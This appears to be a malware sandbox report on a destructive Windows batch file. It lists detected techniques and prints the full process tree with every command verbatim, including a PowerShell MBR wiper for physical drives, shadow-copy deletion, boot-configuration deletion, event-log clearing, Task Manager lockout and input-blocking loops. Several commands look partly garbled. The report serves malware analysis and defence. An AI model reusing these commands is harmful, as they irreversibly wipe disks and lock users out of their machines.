c6605aea0cdd14e574665cc7bce4305c00d9e9a1280d4e8e1dd909f09e635b4a

Analysis

user interaction
yes
max time kernel
9s
max time network
208s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/04/2026, 19:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_batch_20260430_f41b13 (3).bat
Size 41KB
Sample260430-xt2vzag13s
SHA256 c6605aea0cdd14e574665cc7bce4305c00d9e9a1280d4e8e1dd909f09e635b4a
MD5 e62eb06a21fda1985ef161099d45b04e
SHA1 eeca037044e25fcce81267efd43ad2653e629d96
SHA512 af67579b2855f5a24e3f29d615345c601f2e6b8662a07a64fdf0645103bd4b753c33331a90c46761a2e50ee75d28e1430e345b360994a09125df5c640c328f5f
SSDEEP 768:O8cfJibMMV38zFEwm18zUMlG98b7qYLR8xGPmqid4987vugkF8547E3rP3DMkRSx:BUFEwFUfomhGPm5vugke474Q
TLSH
T16413A662222ECD6EC1964857486FF1C69F2451AB7108FCC827DFD945EA1E359833E2EC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit impact persistence privilege_escalation ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
5160	wevtutil.exe
4248	wevtutil.exe
1412	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 7 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3004	bcdedit.exe
5964	bcdedit.exe
5200	bcdedit.exe
1796	bcdedit.exe
2772	bcdedit.exe
4104	bcdedit.exe
1972	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Windows\\System32\\notepad.exe"	reg.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
7000	takeown.exe
7100	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
7000	takeown.exe
7100	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 34 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe
3492	powershell.exe
4260	powershell.exe
4356	powershell.exe
2928	powershell.exe
748	powershell.exe
5876	powershell.exe
3320	powershell.exe
7288	powershell.exe
7916	powershell.exe
3792	powershell.exe
3508	powershell.exe
5636	powershell.exe
5836	powershell.exe
5784	powershell.exe
7648	powershell.exe
5160	powershell.exe
3040	powershell.exe
4868	powershell.exe
6220	powershell.exe
2348	powershell.exe
5484	powershell.exe
7108	powershell.exe
3748	powershell.exe
2804	powershell.exe
4840	powershell.exe
2872	powershell.exe
6068	powershell.exe
5316	powershell.exe
5824	powershell.exe
6908	powershell.exe
1528	powershell.exe
1732	powershell.exe
3428	powershell.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3320	powershell.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1884	msedge.exe

Delays execution with timeout.exe 6 IoCs

defense_evasion

pid	Process
7616	timeout.exe
7396	timeout.exe
2528	timeout.exe
1708	timeout.exe
1164	timeout.exe
5224	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4020	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6640	notepad.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2872	powershell.exe
2872	powershell.exe
6068	powershell.exe
6068	powershell.exe
6068	powershell.exe
4260	powershell.exe
4260	powershell.exe
3792	powershell.exe
3792	powershell.exe
5824	powershell.exe
5824	powershell.exe
748	powershell.exe
748	powershell.exe
3040	powershell.exe
3040	powershell.exe
5316	powershell.exe
5316	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeBackupPrivilege	4048	vssvc.exe
Token: SeRestorePrivilege	4048	vssvc.exe
Token: SeAuditPrivilege	4048	vssvc.exe
Token: SeSecurityPrivilege	5160	wevtutil.exe
Token: SeBackupPrivilege	5160	wevtutil.exe
Token: SeSecurityPrivilege	4248	wevtutil.exe
Token: SeBackupPrivilege	4248	wevtutil.exe
Token: SeSecurityPrivilege	1412	wevtutil.exe
Token: SeBackupPrivilege	1412	wevtutil.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	5824	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	5316	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 4588 wrote to memory of 4812	4588	cmd.exe	87
PID 4588 wrote to memory of 3316	4588	cmd.exe	88
PID 3316 wrote to memory of 4832	3316	net.exe	89
PID 4588 wrote to memory of 2528	4588	cmd.exe	90
PID 4588 wrote to memory of 2872	4588	cmd.exe	91
PID 4588 wrote to memory of 1708	4588	cmd.exe	92
PID 4588 wrote to memory of 1928	4588	cmd.exe	93
PID 4588 wrote to memory of 1032	4588	cmd.exe	94
PID 4588 wrote to memory of 1780	4588	cmd.exe	95
PID 4588 wrote to memory of 5144	4588	cmd.exe	96
PID 4588 wrote to memory of 2396	4588	cmd.exe	97
PID 4588 wrote to memory of 3748	4588	cmd.exe	98
PID 4588 wrote to memory of 3080	4588	cmd.exe	99
PID 4588 wrote to memory of 6080	4588	cmd.exe	100
PID 4588 wrote to memory of 1164	4588	cmd.exe	101
PID 4588 wrote to memory of 3004	4588	cmd.exe	102
PID 4588 wrote to memory of 5964	4588	cmd.exe	103
PID 4588 wrote to memory of 5200	4588	cmd.exe	104
PID 4588 wrote to memory of 1796	4588	cmd.exe	105
PID 4588 wrote to memory of 2772	4588	cmd.exe	106
PID 4588 wrote to memory of 3352	4588	cmd.exe	107
PID 4588 wrote to memory of 4020	4588	cmd.exe	108
PID 4588 wrote to memory of 3528	4588	cmd.exe	111
PID 4588 wrote to memory of 4104	4588	cmd.exe	112
PID 4588 wrote to memory of 1972	4588	cmd.exe	113
PID 4588 wrote to memory of 5160	4588	cmd.exe	114
PID 4588 wrote to memory of 4248	4588	cmd.exe	115
PID 4588 wrote to memory of 1412	4588	cmd.exe	116
PID 4588 wrote to memory of 5224	4588	cmd.exe	117
PID 4588 wrote to memory of 6068	4588	cmd.exe	118
PID 4588 wrote to memory of 4260	4588	cmd.exe	119
PID 4588 wrote to memory of 3792	4588	cmd.exe	122
PID 4588 wrote to memory of 5316	4588	cmd.exe	123
PID 4588 wrote to memory of 3040	4588	cmd.exe	125
PID 4588 wrote to memory of 4356	4588	cmd.exe	126
PID 4588 wrote to memory of 748	4588	cmd.exe	127
PID 4588 wrote to memory of 3320	4588	cmd.exe	128
PID 4588 wrote to memory of 2928	4588	cmd.exe	129
PID 4588 wrote to memory of 5824	4588	cmd.exe	136

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260430_f41b13 (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4588
- C:\Windows\system32\mode.com
  mode con: cols=120 lines=40
  2⤵
  PID:4812
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4832
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$text = 'snowsday on top. https://youtube.com/@snowsday'; $textBytes = [System.Text.Encoding]::ASCII.GetBytes($text); for($disk=0;$disk -lt 10;$disk++){ try{ $path = '\\.\PhysicalDrive' + $disk; $d = [System.IO.File]::Open($path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite); $sector = New-Object byte[] 512; for($j=0;$j -lt 512;$j++){ $sector[$j] = 0xDE; } for($i=0;$i -lt $textBytes.Length -and $i -lt 256;$i++){ $sector[$i] = $textBytes[$i]; } $sector[510] = 0x55; $sector[511] = 0xAA; $d.Write($sector, 0, 512); for($sec=1;$sec -le 15;$sec++){ $corrupt = New-Object byte[] 512; for($j=0;$j -lt 512;$j++){ $corrupt[$j] = $textBytes[$j :Begin); $d.Write($corrupt, 0, 512); } $d.Close(); Write-Host '[MBR] Disk' $disk 'overwritten with snowsday payload'; [console]::beep(1000, 100); } catch { Write-Host '[MBR] Disk' $disk 'not accessible'; } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1708
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:1928
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:1032
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:1780
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:5144
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
  2⤵
  PID:2396
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
  2⤵
  PID:3748
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:3080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:6080
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1164
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3004
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5964
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5200
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {current} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1796
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {default} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2772
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in Windows directory
  PID:3352
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:3528
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4104
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1972
- C:\Windows\system32\wevtutil.exe
  wevtutil cl System
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:5160
- C:\Windows\system32\wevtutil.exe
  wevtutil cl Security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4248
- C:\Windows\system32\wevtutil.exe
  wevtutil cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $txt=@('SNOWSDAY','snowsday on top','youtube.com/@snowsday','LUMINA','DEAD','KILLED','DESTROYED','WIPED','RIP','TOP','NO ESCAPE','FATAL','GONE','CORRUPTED','ANNIHILATED'); $fn=@('Consolas','Terminal','Courier New','Lucida Console','Arial Black'); $drops=@(1..($w/8) | ForEach-Object {$r.Next(-500,0)}); while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,15)); for($j=0;$j -lt 20;$j++){ $p1=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $p2=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $p3=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $p4=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $pen=New-Object System.Drawing.Pen([System.Drawing.Color]::FromArgb($r.Next(150,256),$r.Next(0,200),$r.Next(0,200)), $r.Next(1,10)); $g.DrawBezier($pen,$p1,$p2,$p3,$p4); $pen.Dispose(); } for($x=0;$x -lt $drops.Count;$x++){ $c=[System.Drawing.Color]::FromArgb($r.Next(200,256),$r.Next(0,100),$r.Next(0,100)); $brush=New-Object System.Drawing.SolidBrush($c); $font=New-Object System.Drawing.Font($fn[$r.Next($fn.Count)], $r.Next(8,18)); $g.DrawString([char]$r.Next(33,126), $font, $brush, $x*8, $drops[$x]); $brush.Dispose(); $font.Dispose(); $drops[$x]+=$r.Next(5,20); if($drops[$x] -gt $h + $r.Next(100,500)){ $drops[$x]=$r.Next(-500,0); } } $bigFont=New-Object System.Drawing.Font('Consolas', $r.Next(80,150), [System.Drawing.FontStyle]::Bold); $redBrush=New-Object System.Drawing.SolidBrush([System.Drawing.Color]::Red); $g.DrawString('SNOWSDAY', $bigFont, $redBrush, $r.Next($w-500), $r.Next($h-200)); $bigFont.Dispose(); $redBrush.Dispose(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 10; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $t=0; $particles=@(); for($i=0;$i -lt 200;$i++){ $particles+=@{x=$r.Next($w);y=$r.Next($h);vx=$r.NextDouble()*4-2;vy=$r.NextDouble()*4-2;life=$r.Next(100,300)} } while($true){ $g.Clear([System.Drawing.Color]::FromArgb(10,0,0,0)); for($i=0;$i -lt 30;$i++){ $offset=$i*20; $amp=40+$i*6; for($x=0;$x -lt $w;$x+=5){ $y1=$h/2 + [Math]::Sin(($x+$t+$offset)*0.02)*$amp; $y2=$h/2 + [Math]::Cos(($x+$t+$offset)*0.03)*$amp; $c=[System.Drawing.Color]::FromArgb($r.Next(150,256),$r.Next(0,150),$r.Next(0,150)); $pen=New-Object System.Drawing.Pen($c, 2); $g.DrawLine($pen,$x,$y1,$x+5,$y2); $pen.Dispose(); } } for($i=0;$i -lt $particles.Count;$i++){ $p=$particles[$i]; $p.x+=$p.vx; $p.y+=$p.vy; $p.life--; if($p.life -le 0){ $p.x=$r.Next($w); $p.y=$r.Next($h); $p.life=$r.Next(100,300); } $c=[System.Drawing.Color]::FromArgb($p.life,$r.Next(200,256),$r.Next(0,100),$r.Next(0,100)); $b=New-Object System.Drawing.SolidBrush($c); $g.FillEllipse($b,$p.x,$p.y,3,3); $b.Dispose(); } $t+=3; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 15; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $angle=0; $txt=@('SNOWSDAY','DEAD','KILL','DIE','WIPE','CORRUPT'); while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,20)); $cx=$w/2; $cy=$h/2; for($i=0;$i -lt 400;$i++){ $radius=$i*1.8; $x=$cx + [Math]::Cos($angle + $i*0.08)*$radius; $y=$cy + [Math]::Sin($angle + $i*0.08)*$radius; $c=[System.Drawing.Color]::FromArgb($r.Next(180,256),$r.Next(0,200),$r.Next(0,200)); $pen=New-Object System.Drawing.Pen($c, 2); $g.DrawEllipse($pen,$x,$y,$r.Next(1,5),$r.Next(1,5)); $pen.Dispose(); } $font=New-Object System.Drawing.Font('Consolas', 16, [System.Drawing.FontStyle]::Bold); for($i=0;$i -lt 10;$i++){ $b=New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb($r.Next(200,256),$r.Next(0,100),$r.Next(0,100))); $g.DrawString($txt[$r.Next($txt.Count)], $font, $b, $r.Next($w), $r.Next($h)); $b.Dispose(); } $font.Dispose(); $angle+=0.12; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 15; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $txts=@('SNOWSDAY ON TOP','youtube.com/@snowsday','LUMINA DESTROYED PC','MBR CORRUPTED','SYSTEM DESTROYED','PC DEAD','NO ESCAPE','FATAL ERROR','KERNEL PANIC','RECOVERY IMPOSSIBLE','DATA LOST','HAIL SNOWSDAY','TOP','ANNIHILATED','WIPED','GONE','TERMINATED','BSOD INCOMING','GOODBYE','YOU ARE DEAD','FOREVER GONE'); $titles=@('SNOWSDAY','LUMINA','FATAL ERROR','SYSTEM DESTROYED','PC DEAD','GOODBYE','YOU DIED','RIP','WIPED'); $icons=@('Error','Warning','Stop','Hand','Question'); while($true){ $t=$txts[$r.Next($txts.Count)]; $ti=$titles[$r.Next($titles.Count)]; $ic=$icons[$r.Next($icons.Count)]; Start-Job -ScriptBlock {param($x,$y,$z)[System.Windows.Forms.MessageBox]::Show($x,$y,'OK',$z)} -ArgumentList $t,$ti,$ic | Out-Null; Start-Sleep -Milliseconds 20; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "[console]::beep(37,1000); $r=New-Object Random; while($true){ for($i=0;$i -lt 32;$i++){ $freq=$r.Next(37,8000); $dur=$r.Next(10,200); try{[console]::beep($freq,$dur)}catch{} } for($i=0;$i -lt 16;$i++){ try{[console]::beep($r.Next(37,500),50); [console]::beep($r.Next(500,2000),30); [console]::beep($r.Next(2000,8000),15); [console]::beep($r.Next(37,8000),80)}catch{} } for($i=0;$i -lt 8;$i++){ try{[console]::beep($r.Next(37,8000),$r.Next(5,50))}catch{} } Start-Sleep -Milliseconds ($r.Next(0,20)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type '[DllImport(\"user32.dll\")]public static extern bool SetCursorPos(int x,int y);[DllImport(\"user32.dll\")]public static extern void mouse_event(uint f,int x,int y,uint d,int e);[DllImport(\"user32.dll\")]public static extern bool BlockInput(bool f);[DllImport(\"user32.dll\")]public static extern void keybd_event(byte b,byte s,uint f,uint e);[DllImport(\"user32.dll\")]public static extern bool GetCursorPos(out System.Drawing.Point p);' -Name W; [W]::BlockInput($true); $r=New-Object Random; $wsh=New-Object -ComObject WScript.Shell; $keys=@('{ENTER}','{TAB}','{BACKSPACE}','{DELETE}','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{CAPSLOCK}','{NUMLOCK}','{SCROLLLOCK}','{F4}','{F5}','{F6}','{F7}','{F8}','{F9}','{F10}','{F11}','{F12}','^a','^c','^v','^x','^z',':SetCursorPos($r.Next(-500,3000), $r.Next(-500,2000)); } [W]::mouse_event(2,0,0,0,0); [W]::mouse_event(4,0,0,0,0); [W]::mouse_event(32768,0,0,0,0); [W]::mouse_event(65536,0,0,0,0); [W]::mouse_event(2048,0,0,0,0); [W]::mouse_event(4096,0,0,0,0); for($i=0;$i -lt $r.Next(8,30);$i++){ $wsh.SendKeys($keys[$r.Next($keys.Count)]); } Start-Sleep -Milliseconds 1; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($y=0;$y -lt $bmp.Height;$y+=1){ $shift=$r.Next(-150,150); for($x=0;$x -lt $bmp.Width;$x+=1){ $sx=$x+$shift; if($y :Max(0,[Math]::Min($bmp.Width-1, $sx)); try{ $px=$bmp.GetPixel($sx, $y); $rVal=($px.R + $r.Next(-150,150)) -band 255; $gVal=($px.G + $r.Next(-150,150)) -band 255; $bVal=($px.B + $r.Next(-150,150)) -band 255; $nc=[System.Drawing.Color]::FromArgb($rVal, $gVal, $bVal); $bmp.SetPixel($x, $y, $nc); } catch {} } } $form.Location=New-Object System.Drawing.Point($r.Next(-50,50),$r.Next(-50,50)); $form.Size=New-Object System.Drawing.Size($sc.Bounds.Width+$r.Next(-100,100),$sc.Bounds.Height+$r.Next(-100,100)); $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 1; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$r=New-Object Random; $apps=@('calc','notepad','mspaint','cmd','control','write','charmap','winver','resmon','diskmgmt.msc','devmgmt.msc','eventvwr','services.msc','perfmon','msinfo32','dxdiag','cleanmgr','magnify','osk','snippingtool','taskmgr','explorer'); $txts=@('SNOWSDAY ON TOP','DEAD','KILLED','DESTROYED','WIPED','RIP','GONE','ERROR','HAIL SNOWSDAY','TOP','PC DEAD','ANNIHILATED','CORRUPTED','youtube.com/@snowsday','SNOWSDAY','LUMINA','BSOD','CRASH','SYSTEM FAILURE'); while($true){ for($i=0;$i -lt 8;$i++){ Start-Process $apps[$r.Next($apps.Count)] -ErrorAction SilentlyContinue; } $wsh=New-Object -ComObject WScript.Shell; for($i=0;$i -lt 20;$i++){ $wsh.SendKeys($txts[$r.Next($txts.Count)] + '{ENTER}'); } if($r.Next(3) -eq 0){ Start-Process 'https://youtube.com/@snowsday' -ErrorAction SilentlyContinue; } taskkill /f /im cmd.exe >nul 2>&1; taskkill /f /im notepad.exe >nul 2>&1; taskkill /f /im calc.exe >nul 2>&1; Start-Sleep -Milliseconds ($r.Next(20,100)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:3320
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc"
    3⤵
    PID:7068
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\diskmgmt.msc"
    3⤵
    PID:3824
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc"
    3⤵
    PID:1620
- - C:\Windows\System32\notepad.exe
    C:\Windows\System32\notepad.exe "C:\Windows\system32\Taskmgr.exe"
    3⤵
